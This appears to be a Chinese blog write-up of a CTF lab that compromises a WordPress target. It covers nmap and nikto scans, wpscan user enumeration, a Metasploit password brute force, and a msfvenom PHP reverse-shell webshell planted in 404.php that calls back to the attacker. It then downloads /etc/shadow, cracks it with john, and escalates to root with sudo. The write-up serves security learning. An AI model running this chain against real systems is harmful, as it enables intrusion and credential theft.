web安全暴力破解
宣告:此部落格只是記錄自己的ctf學習過程,請勿用於非法途徑。
窮舉法的基本思想是根據題目的部分條件確定答案的大致範圍,並在此範圍內對所有可能的情況逐一驗證,知道全部情況驗證完畢。若某個情況驗證符合題目的全部條件,則為本問題的一個解;若全部情況驗證後都不符合題目的全部條件,則本題無解。窮舉法也稱為列舉法。
web安全中的暴力破解也是利用嘗試所有的可能性最終獲取正確的結果。
靶場IP地址:192.168.31.61
掃描主機服務資訊以及服務版本:
nmap -sV 192.168.31.61
快速掃描主機全部資訊:
nmap -T4 -A -v 192.168.31.61
開放了http服務
可以使用瀏覽器開啟http://ip:port/敏感頁面,檢視敏感資訊,嘗試找到可利用的位置
同時也可以使用nikto探測敏感資訊:
nikto -host http://192.168.31.61
提示我們/secret/是一個敏感目錄:
使用瀏覽器訪問看一看:
點選login in嘗試登陸,彈出如下介面:
那就得想辦法登陸進去,如果使用暴力破解的話至少需要知道使用者名稱吧
補充: 這時候會出現這麼個問題,如果用的是域名訪問可能會訪問不了:
這時就需要在kali中編輯本地的host檔案:
gedit /etc/hosts
將靶機的IP地址與站名都輸進去;
儲存,再重新訪問即可
使用metasploit進行暴力破解:
首先得使用wpscan對目標站點的使用者名稱進行列舉:
wpscan --url www.vtcsec.com/secret/ --enumerate u
發現使用者名稱admin
那麼接下來就使用metasploit破解使用者名稱admin對應的密碼:
msfconsole
msf5 > use auxiliary/scanner/http/wordpress_login_enum
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.61
msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) > set username admin
msf5 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/
msf5 auxiliary(scanner/http/wordpress_login_enum) > run
破解成功:
使用這對賬號和密碼登陸伺服器後臺成功:
接下來還是老套路,上傳webshell獲取控制權:
先在攻擊機制作webshell:
在kali linux終端輸入如下程式碼:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.113 lport=4444 -f raw
會生成如下程式碼,註釋符不要哦:
將複製下來的程式碼覆蓋網站後臺的404.php程式碼處並上傳:
然後就是在攻擊機端使用metasploit監聽該webshell了:
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.31.113
msf5 exploit(multi/handler) > show options
檢視結果如下:
啟動監聽:
msf5 exploit(multi/handler) > run
接下來使用瀏覽器來訪問目標站點的404檔案:
http://192.168.31.61/secret/wp-content/themes/twentyseventeen/404.php
發現返回shell成功:
使用sysinfo檢視系統的資訊,使用shell載入靶場的shell:
通過id檢視當前使用者,發現還不是root使用者:
那怎麼提升許可權呢:
先exit回到meterpreter:
下載/etc/passwd和/etc/shadow:
meterpreter > download /etc/passwd
meterpreter > download /etc/shadow
然後回到kali linux的終端:
先ls一下檢視是否下載成功
使用unshadow命令:
unshadow passwd shadow > cracked
然後ls一下,發現能找到cracked檔案,重定向成功
破解一下靶機上存在的使用者名稱和密碼:
john cracked
發現了這麼一對使用者名稱和密碼:
使用該使用者名稱和密碼進行提權:
在meterpreter中進入shell,並嘗試登陸這個使用者:
提示必須要在一個終端裡操作:
老操作:
python -c "import pty;pty.spawn('/bin/bash')"
返回給我們一個終端的頁面:
再進行提權,使用之前暴力破解得到的使用者名稱和密碼進行登入:
發現登陸成功,但還是不是root許可權
輸入:
sudo -l
並輸入密碼
然後獲得可以執行的操作:
然後輸入如下命令:
sudo bash
成功獲得root許可權:
本題結。